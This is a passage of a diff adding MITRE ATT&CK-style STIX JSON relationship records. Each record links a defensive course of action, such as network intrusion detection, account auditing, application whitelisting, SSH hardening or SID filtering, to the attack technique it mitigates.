[ + { + "source_name": "University of Birmingham C2", + "description": "Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.", + "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" + } + ], + "modified": "2019-07-18T17:47:57.300Z", + "source_ref": "course-of-action--12241367-a8b7-49b4-b86e-2236901ba50c", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level.", + "type": "relationship", + "id": "relationship--19f35c88-92c4-4e98-b024-be9f6731bdb5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2019-06-21T15:16:29.301Z", + "modified": "2019-06-21T15:16:29.301Z", + "source_ref": "course-of-action--12241367-a8b7-49b4-b86e-2236901ba50c", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level.", + "type": "relationship", + "created": "2019-06-21T15:17:19.158Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--0304cc00-ec86-4b08-8e30-e771adf0d7f5", + "modified": "2019-07-19T18:55:09.614Z", + "source_ref": "course-of-action--12241367-a8b7-49b4-b86e-2236901ba50c", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--4b74a1d4-b0e9-4ef1-93f1-14ecc6e2f5b5" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Properly configure firewalls and proxies to limit outgoing traffic to only necessary ports and through proper network gateway systems. Also ensure hosts are only provisioned to communicate over authorized interfaces.", + "type": "relationship", + "created": "2019-06-21T15:19:09.776Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--b2a42d95-fc64-4e6f-95d9-7b24334bccd4", + "modified": "2019-07-18T21:18:02.975Z", + "source_ref": "course-of-action--86598de0-b347-4928-9eb0-0acbfc21908c", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--c21d5a77-d422-4a69-acd7-2c53c1faa34b" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level.", + "type": "relationship", + "created": "2019-06-21T15:19:09.796Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--418bde38-35eb-44bc-a454-ad7d2918bda5", + "modified": "2019-07-18T21:18:02.976Z", + "source_ref": "course-of-action--12241367-a8b7-49b4-b86e-2236901ba50c", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--c21d5a77-d422-4a69-acd7-2c53c1faa34b" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level.", + "type": "relationship", + "created": "2019-06-21T15:21:42.942Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--de274a43-282a-46e2-9191-7f1acec2e6e4", + "modified": "2019-07-17T21:08:30.260Z", + "source_ref": "course-of-action--12241367-a8b7-49b4-b86e-2236901ba50c", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--c848fcf7-6b62-4bde-8216-b6c157d48da0" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Audit domain and local accounts as well as their permission levels routinely to look for situations that could allow an adversary to gain wide access by obtaining credentials of a privileged account. These audits should also include if default accounts have been enabled, or if new local accounts are created that have not be authorized. Do not put user or admin domain accounts in the local administrator groups across systems unless they are tightly controlled and use of accounts is segmented, as this is often equivalent to having a local administrator account with the same password on all systems. Follow best practices for design and administration of an enterprise network to limit privileged account use across administrative tiers. Limit credential overlap across systems to prevent access if account credentials are obtained.", + "type": "relationship", + "created": "2019-06-21T16:21:55.301Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--89887815-acfc-42f9-9172-81437cf9ff69", + "external_references": [ + { + "source_name": "TechNet Credential Theft", + "description": "Microsoft. (2016, April 15). Attractive Accounts for Credential Theft. Retrieved June 3, 2016.", + "url": "https://technet.microsoft.com/en-us/library/dn535501.aspx" + }, + { + "source_name": "TechNet Least Privilege", + "description": "Microsoft. (2016, April 16). Implementing Least-Privilege Administrative Models. Retrieved June 3, 2016.", + "url": "https://technet.microsoft.com/en-us/library/dn487450.aspx" + }, + { + "source_name": "Microsoft Securing Privileged Access", + "description": "Plett, C., Poggemeyer, L. (12, October 26). Securing Privileged Access Reference Material. Retrieved April 25, 2017.", + "url": "https://docs.microsoft.com/en-us/windows-server/identity/securing-privileged-access/securing-privileged-access-reference-material#a-nameesaebmaesae-administrative-forest-design-approach" + } + ], + "modified": "2019-06-21T18:44:26.721Z", + "source_ref": "course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--b17a1a56-e99c-403c-8948-561df0cffe81" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Applications and appliances that utilize default username and password should be changed immediately after the installation, and before deployment to a production environment. When possible, applications that use SSH keys should be updated periodically and properly secured. Ensure that local administrator accounts have complex, unique passwords across all systems on the network.", + "type": "relationship", + "created": "2019-06-21T16:21:55.304Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--4f24d075-4d6c-49d2-a213-306e4af2083d", + "external_references": [ + { + "source_name": "US-CERT Alert TA13-175A Risks of Default Passwords on the Internet", + "description": "undefined. (n.d.). Risks of Default Passwords on the Internet. Retrieved April 12, 2019.", + "url": "https://www.us-cert.gov/ncas/alerts/TA13-175A" + } + ], + "modified": "2019-06-21T18:44:26.748Z", + "source_ref": "course-of-action--90c218c3-fbf8-4830-98a7-e8cfb7eaa485", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--b17a1a56-e99c-403c-8948-561df0cffe81" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Use user training as a way to bring awareness to common phishing and spearphishing techniques and how to raise suspicion for potentially malicious events.", + "type": "relationship", + "id": "relationship--1d1525e6-74f2-447d-ba11-9e9c9c552403", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2019-06-21T16:28:45.435Z", + "modified": "2019-06-21T16:28:45.435Z", + "source_ref": "course-of-action--2a4f6c11-a4a7-4cb9-b0ef-6ae1bb3a718a", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--8c32eb4d-805f-4fc5-bf60-c4d476c131b5" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "If a link is being visited by a user, block unknown or unused files in transit by default that should not be downloaded or by policy from suspicious sites as a best practice to prevent some vectors, such as .scr, .exe, .pif, .cpl, etc. Some download scanning devices can open and analyze compressed and encrypted formats, such as zip and rar that may be used to conceal malicious files in [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027).", + "type": "relationship", + "id": "relationship--66551074-a1e3-439c-a996-c1f7ca8136e2", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2019-06-21T16:28:45.461Z", + "modified": "2019-06-21T16:28:45.461Z", + "source_ref": "course-of-action--21da4fd4-27ad-4e9c-b93d-0b9b14d02c96", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--8c32eb4d-805f-4fc5-bf60-c4d476c131b5" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Application whitelisting may be able to prevent the running of executables masquerading as other files.", + "type": "relationship", + "id": "relationship--225ab1b4-f800-4a92-9949-a0f05fce6213", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2019-06-21T16:28:45.465Z", + "modified": "2019-06-21T16:28:45.465Z", + "source_ref": "course-of-action--47e0e9fe-96ce-4f65-8bb1-8be1feacb5db", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--8c32eb4d-805f-4fc5-bf60-c4d476c131b5" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "If a link is being visited by a user, network intrusion prevention systems and systems designed to scan and remove malicious downloads can be used to block activity.", + "type": "relationship", + "id": "relationship--8e567361-e2de-4dc6-b953-ec82dc143f58", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2019-06-21T16:28:45.467Z", + "modified": "2019-06-21T16:28:45.467Z", + "source_ref": "course-of-action--12241367-a8b7-49b4-b86e-2236901ba50c", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--8c32eb4d-805f-4fc5-bf60-c4d476c131b5" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Remove smart cards when not in use.", + "type": "relationship", + "id": "relationship--96213379-cdf0-4ee0-8f0c-a9c0d5ffca7e", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2019-06-21T16:38:58.266Z", + "modified": "2019-06-21T16:38:58.266Z", + "source_ref": "course-of-action--2a4f6c11-a4a7-4cb9-b0ef-6ae1bb3a718a", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--dd43c543-bb85-4a6f-aa6e-160d90d06a49" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Properly manage accounts and permissions used by parties in trusted relationships to minimize potential abuse by the party and if the party is compromised by an adversary.", + "type": "relationship", + "created": "2019-06-21T16:45:15.046Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--a42398e2-3daa-452a-80f8-f06660328f18", + "modified": "2019-06-21T16:50:10.157Z", + "source_ref": "course-of-action--2c2ad92a-d710-41ab-a996-1db143bb4808", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--9fa07bef-9c81-421e-a8e5-ad4366c5a925" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Network segmentation can be used to isolate infrastructure components that do not require broad network access.", + "type": "relationship", + "created": "2019-06-21T16:45:15.071Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--f0e9a1f7-8600-4558-9d2e-91126c42b126", + "modified": "2019-06-21T16:50:10.172Z", + "source_ref": "course-of-action--86598de0-b347-4928-9eb0-0acbfc21908c", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--9fa07bef-9c81-421e-a8e5-ad4366c5a925" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Use application whitelisting configured to block execution of MSBuild.exe, dnx.exe, rcsi.exe, WinDbg.exe, and cdb.exe if they are not required for a given system or network to prevent potential misuse by adversaries.", + "type": "relationship", + "created": "2019-06-21T16:52:53.737Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--8c0286e0-036d-4282-9e54-6938c958b7e9", + "external_references": [ + { + "source_name": "Microsoft GitHub Device Guard CI Policies", + "description": "Microsoft. (2017, June 16). Deploy code integrity policies: steps. Retrieved June 28, 2017.", + "url": "https://github.com/Microsoft/windows-itpro-docs/blob/master/windows/device-security/device-guard/deploy-code-integrity-policies-steps.md" + }, + { + "source_name": "Exploit Monday Mitigate Device Guard Bypases", + "description": "Graeber, M. (2016, September 8). Using Device Guard to Mitigate Against Device Guard Bypasses. Retrieved September 13, 2016.", + "url": "http://www.exploit-monday.com/2016/09/using-device-guard-to-mitigate-against.html" + }, + { + "source_name": "GitHub mattifestation DeviceGuardBypass", + "description": "Graeber, M. (2016, November 13). DeviceGuardBypassMitigationRules. Retrieved November 30, 2016.", + "url": "https://github.com/mattifestation/DeviceGuardBypassMitigationRules" + }, + { + "source_name": "SubTee MSBuild", + "description": "Smith, C. (2016, September 13). Bypassing Application Whitelisting using MSBuild.exe - Device Guard Example and Mitigations. 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"description": "The sudoers file should be strictly edited such that passwords are always required and that users can't spawn risky processes as users with higher privilege.", + "type": "relationship", + "created": "2019-06-24T10:53:12.332Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--4f93232a-e242-4917-9873-4bc5c37f3486", + "modified": "2019-07-18T18:34:14.552Z", + "source_ref": "course-of-action--987988f0-cf86-4680-a875-2f6456ab2448", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--9e80ddfb-ce32-4961-a778-ca6a10cfae72" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "By requiring a password, even if an adversary can get terminal access, they must know the password to run anything in the sudoers file.", + "type": "relationship", + "created": "2019-06-24T10:53:12.345Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--1d078b15-d786-4aaa-b3be-e862b1a7c2e9", + "modified": "2019-07-18T18:34:14.548Z", + "source_ref": "course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--9e80ddfb-ce32-4961-a778-ca6a10cfae72" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Since StartupItems are deprecated, preventing all users from writing to the /Library/StartupItems directory would prevent any startup items from getting registered.", + "type": "relationship", + "created": "2019-06-24T10:56:40.113Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--b2cf0663-fd8e-4ca5-988a-dfec3c8a33f0", + "modified": "2019-07-18T17:58:17.228Z", + "source_ref": "course-of-action--987988f0-cf86-4680-a875-2f6456ab2448", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--2ba5aa71-9d15-4b22-b726-56af06d9ad2f" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Ensure that all private keys are stored securely in locations where only the legitimate owner has access to with strong passwords and are rotated frequently.", + "type": "relationship", + "created": "2019-06-24T11:01:58.813Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--886bb26b-0fbb-44da-bc03-b451a3eb3840", + "modified": "2019-07-18T17:51:26.699Z", + "source_ref": "course-of-action--2c2ad92a-d710-41ab-a996-1db143bb4808", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--c1b11bf7-c68e-4fbf-a95b-28efbe7953bb" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Ensure proper file permissions are set and harden system to prevent root privilege escalation opportunities.", + "type": "relationship", + "created": "2019-06-24T11:01:58.826Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--ec456b9e-db3e-44df-8288-adf086a0c0bb", + "modified": "2019-07-18T17:51:26.850Z", + "source_ref": "course-of-action--987988f0-cf86-4680-a875-2f6456ab2448", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--c1b11bf7-c68e-4fbf-a95b-28efbe7953bb" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Do not allow remote access via SSH as root or other privileged accounts.", + "type": "relationship", + "created": "2019-06-24T11:01:58.829Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--709814dc-61e0-439b-8793-5d4d59a19030", + "modified": "2019-07-18T17:51:26.697Z", + "source_ref": "course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--c1b11bf7-c68e-4fbf-a95b-28efbe7953bb" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Ensure SSH key pairs have strong passwords and refrain from using key-store technologies such as ssh-agent unless they are properly protected.", + "type": "relationship", + "created": "2019-06-24T11:01:58.843Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--fa977c5a-8fde-4511-998c-954c946c6cd0", + "modified": "2019-07-18T17:51:26.695Z", + "source_ref": "course-of-action--90c218c3-fbf8-4830-98a7-e8cfb7eaa485", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--c1b11bf7-c68e-4fbf-a95b-28efbe7953bb" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Ensure that agent forwarding is disabled on systems that do not explicitly require this feature to prevent misuse.", + "type": "relationship", + "created": "2019-06-24T11:01:58.844Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--9244439a-5c10-4645-b71d-97bf602cb509", + "external_references": [ + { + "source_name": "Symantec SSH and ssh-agent", + "description": "Hatch, B. (2004, November 22). SSH and ssh-agent. Retrieved January 8, 2018.", + "url": "https://www.symantec.com/connect/articles/ssh-and-ssh-agent" + } + ], + "modified": "2019-07-18T17:51:26.700Z", + "source_ref": "course-of-action--eb88d97c-32f1-40be-80f0-d61a4b0b4b31", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--c1b11bf7-c68e-4fbf-a95b-28efbe7953bb" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Users can be trained to identify social engineering techniques and spearphishing emails with malicious links.", + "type": "relationship", + "id": "relationship--f1883831-ea71-4e27-ab6a-aa10a7fd7df4", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2019-06-24T11:09:56.500Z", + "modified": "2019-06-24T11:09:56.500Z", + "source_ref": "course-of-action--2a4f6c11-a4a7-4cb9-b0ef-6ae1bb3a718a", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--d3df754e-997b-4cf9-97d4-70feb3120847" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Determine if certain social media sites, personal webmail services, or other service that can be used for spearphishing is necessary for business operations and consider blocking access if activity cannot be monitored well or if it poses a significant risk.", + "type": "relationship", + "id": "relationship--b5c8909c-3fe2-4dbf-bf8a-c620ddfe2bed", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2019-06-24T11:09:56.517Z", + "modified": "2019-06-24T11:09:56.517Z", + "source_ref": "course-of-action--21da4fd4-27ad-4e9c-b93d-0b9b14d02c96", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--d3df754e-997b-4cf9-97d4-70feb3120847" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Anti-virus can also automatically quarantine suspicious files.", + "type": "relationship", + "id": "relationship--a408e9fc-44fb-4563-a86f-2eb17ff0832d", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2019-06-24T11:09:56.519Z", + "modified": "2019-06-24T11:09:56.519Z", + "source_ref": "course-of-action--a6a47a06-08fc-4ec4-bdc3-20373375ebb9", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--d3df754e-997b-4cf9-97d4-70feb3120847" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Users can be trained to identify social engineering techniques and spearphishing emails with malicious links.", + "type": "relationship", + "created": "2019-06-24T11:11:18.378Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--93669ebc-ea8d-4f76-94c8-4f8d1679b123", + "modified": "2019-07-18T21:47:14.941Z", + "source_ref": "course-of-action--2a4f6c11-a4a7-4cb9-b0ef-6ae1bb3a718a", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--20138b9d-1aac-4a26-8654-a36b6bbf2bba" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Users can be trained to identify social engineering techniques and spearphishing emails.", + "type": "relationship", + "id": "relationship--ce68b332-ac44-472e-81b9-6cffe7ff11a2", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2019-06-24T11:14:20.465Z", + "modified": "2019-06-24T11:14:20.465Z", + "source_ref": "course-of-action--2a4f6c11-a4a7-4cb9-b0ef-6ae1bb3a718a", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--6aac77c4-eaf2-4366-8c13-ce50ab951f38" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Block unknown or unused attachments by default that should not be transmitted over email as a best practice to prevent some vectors, such as .scr, .exe, .pif, .cpl, etc. Some email scanning devices can open and analyze compressed and encrypted formats, such as zip and rar that may be used to conceal malicious attachments in [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027).", + "type": "relationship", + "id": "relationship--87b35c42-a798-461b-a58e-2e2d9ea45354", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2019-06-24T11:14:20.476Z", + "modified": "2019-06-24T11:14:20.476Z", + "source_ref": "course-of-action--21da4fd4-27ad-4e9c-b93d-0b9b14d02c96", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--6aac77c4-eaf2-4366-8c13-ce50ab951f38" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Anti-virus can also automatically quarantine suspicious files.", + "type": "relationship", + "id": "relationship--0bb376d8-f73c-404f-a1bc-9a89c6b7a435", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2019-06-24T11:14:20.493Z", + "modified": "2019-06-24T11:14:20.493Z", + "source_ref": "course-of-action--a6a47a06-08fc-4ec4-bdc3-20373375ebb9", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--6aac77c4-eaf2-4366-8c13-ce50ab951f38" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Network intrusion prevention systems and systems designed to scan and remove malicious email attachments can be used to block activity.", + "type": "relationship", + "id": "relationship--2efc4972-6779-4a5c-a18a-db3c64623b8c", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2019-06-24T11:14:20.495Z", + "modified": "2019-06-24T11:14:20.495Z", + "source_ref": "course-of-action--12241367-a8b7-49b4-b86e-2236901ba50c", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--6aac77c4-eaf2-4366-8c13-ce50ab951f38" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Employ heuristic-based malware detection. Ensure updated virus definitions and create custom signatures for observed malware.", + "type": "relationship", + "created": "2019-06-24T11:20:24.073Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--eb7829cd-ff2e-4dc5-87e7-9006327472e1", + "modified": "2019-07-18T03:35:40.633Z", + "source_ref": "course-of-action--a6a47a06-08fc-4ec4-bdc3-20373375ebb9", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--6ff403bc-93e3-48be-8687-e102fdba8c88" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Ensure proper permissions are set for Registry hives to prevent users from modifying keys related to SIP and trust provider components. Components may still be able to be hijacked to suitable functions already present on disk if malicious modifications to Registry keys are not prevented. ", + "type": "relationship", + "created": "2019-06-24T11:31:34.656Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--b9dcc8d0-11c5-4be1-a7a2-ab1b4e5c32a7", + "modified": "2019-07-18T03:42:39.028Z", + "source_ref": "course-of-action--a2c36a5d-4058-475e-8e77-fff75e50d3b9", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--72b5ef57-325c-411b-93ca-a3ca6fa17e31" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Restrict storage and execution of SIP DLLs to protected directories, such as C:\\\\Windows, rather than user directories.", + "type": "relationship", + "created": "2019-06-24T11:31:34.660Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--e6a535c6-de5f-4bd2-8cfe-afbf232c1c5b", + "modified": "2019-07-18T03:42:39.046Z", + "source_ref": "course-of-action--987988f0-cf86-4680-a875-2f6456ab2448", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--72b5ef57-325c-411b-93ca-a3ca6fa17e31" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Enable whitelisting solutions such as AppLocker and/or Device Guard to block the loading of malicious SIP DLLs.", + "type": "relationship", + "created": "2019-06-24T11:31:34.681Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--994dd6b7-c209-41b4-af96-d9e9604043d4", + "modified": "2019-07-18T03:42:39.051Z", + "source_ref": "course-of-action--47e0e9fe-96ce-4f65-8bb1-8be1feacb5db", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--72b5ef57-325c-411b-93ca-a3ca6fa17e31" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Certain signed scripts that can be used to execute other programs may not be necessary within a given environment. Use application whitelisting configured to block execution of these scripts if they are not required for a given system or network to prevent potential misuse by adversaries.", + "type": "relationship", + "id": "relationship--54d2ea67-40fd-4fbc-b76a-01879aa5bff5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2019-06-24T11:33:53.013Z", + "modified": "2019-06-24T11:33:53.013Z", + "source_ref": "course-of-action--47e0e9fe-96ce-4f65-8bb1-8be1feacb5db", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--f6fe9070-7a65-49ea-ae72-76292f42cebe" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "If these binaries are required for use, then restrict execution of them to privileged accounts or groups that need to use them to lessen the opportunities for malicious use.", + "type": "relationship", + "id": "relationship--59875c71-7e13-4686-a370-8af53d611d4e", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2019-06-24T11:36:16.286Z", + "modified": "2019-06-24T11:36:16.286Z", + "source_ref": "course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--457c7820-d331-465a-915e-42f85500ccc4" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Certain signed binaries that can be used to execute other programs may not be necessary within a given environment. Use application whitelisting configured to block execution of these binaries if they are not required for a given system or network to prevent potential misuse by adversaries.", + "type": "relationship", + "id": "relationship--7c56287b-94e3-4032-828c-649039a9416d", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2019-06-24T11:36:16.293Z", + "modified": "2019-06-24T11:36:16.293Z", + "source_ref": "course-of-action--47e0e9fe-96ce-4f65-8bb1-8be1feacb5db", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--457c7820-d331-465a-915e-42f85500ccc4" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Clean up SID-History attributes after legitimate account migration is complete.\n\nConsider applying SID Filtering to interforest trusts, such as forest trusts and external trusts, to exclude SID-History from requests to access domain resources. SID Filtering ensures that any authentication requests over a trust only contain SIDs of security principals from the trusted domain (i.e preventing the trusted domain from claiming a user has membership in groups outside of the domain).\n\nSID Filtering of forest trusts is enabled by default, but may have been disabled in some cases to allow a child domain to transitively access forest trusts. SID Filtering of external trusts is automatically enabled on all created external trusts using Server 2003 or later domain controllers. However note that SID Filtering is not automatically applied to legacy trusts or may have been deliberately disabled to allow inter-domain access to resources.\n\nSID Filtering can be applied by:\n\n* Disabling SIDHistory on forest trusts using the netdom tool (netdom trust /domain: /EnableSIDHistory:no on the domain controller)\n\n* Applying SID Filter Quarantining to external trusts using the netdom tool (netdom trust /domain: /quarantine:yes on the domain controller)\n\n* Applying SID Filtering to domain trusts within a single forest is not recommended as it is an unsupported configuration and can cause breaking changes. If a domain within a forest is untrustworthy then it should not be a member of the forest. In this situation it is necessary to first split the trusted and untrusted domains into separate forests where SID Filtering can be applied to an interforest trust", + "type": "relationship", + "created": 